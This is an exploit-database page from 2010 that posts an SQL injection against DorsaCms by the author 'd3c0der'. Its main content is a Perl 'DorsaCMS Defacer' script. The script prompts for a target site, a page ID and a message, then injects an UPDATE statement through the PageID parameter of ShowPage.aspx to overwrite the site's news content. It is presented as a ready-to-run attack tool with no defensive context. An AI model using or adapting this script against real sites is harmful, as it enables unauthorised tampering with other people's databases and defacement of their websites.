[webapps / 0day] - DorsaCms SQL Injection Vulnerability
Posted on 22 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>DorsaCms SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='DorsaCms SQL Injection Vulnerability by d3c0der in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>==================================== DorsaCms SQL Injection Vulnerability ==================================== --------------------------------------------------------- Portal Name: DorsaCms SQL Injection Vulnerability software : http://dorsagroup.ir Author : d3c0der - d3c0der@hotmail.com Date : 16.12.2010 homepage : www.attackerz.ir spt : netqurd - maarek - l3l4ck.$c0rpi0n --------------------------------------------------------- d3c0der . . . ######################################################### exploit , for windows : ######################################################### #!/usr/bin/perl #d3c0der system('color a'); system('cls'); system('title DorsaCMS Defacer'); print q{ =================================================== -= ** =- DorsaCMS Defacer [+] Coded by d3c0der => d3c0der@hotmail.com [+] AttackerZ Under Ground Group => wwW.Attackerz.iR -= ** =- =================================================== }; use HTTP::Request; use LWP::UserAgent; print "~# Target : "; $site=<STDIN>; chomp $site; print "~# PageID : "; $id=<STDIN>; chomp $id; print "~# Deface Text : "; $def=<STDIN>; chomp $def; if ( $site !~ /^http:/ ) { $site = 'http://' . $site; } if ( $site !~ //$/ ) { $site = $site . '/'; } print " "; print "->hacking : $site "; @path1=("ShowPage.aspx?page_=news&PageID=$id update news set Comment='$def';--"); foreach $ways(@path1){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final); my $ua=LWP::UserAgent->new(); $ua->timeout(30); my $response=$ua->request($req); } print "[-] now this url is hacked $site./ShowPage.aspx?page_=news&PageID=.$id "; ## # By d3c0der ## ######################################################### # <a href='http://1337db.com/'>1337db.com</a> [2010-12-22]</pre></body></html>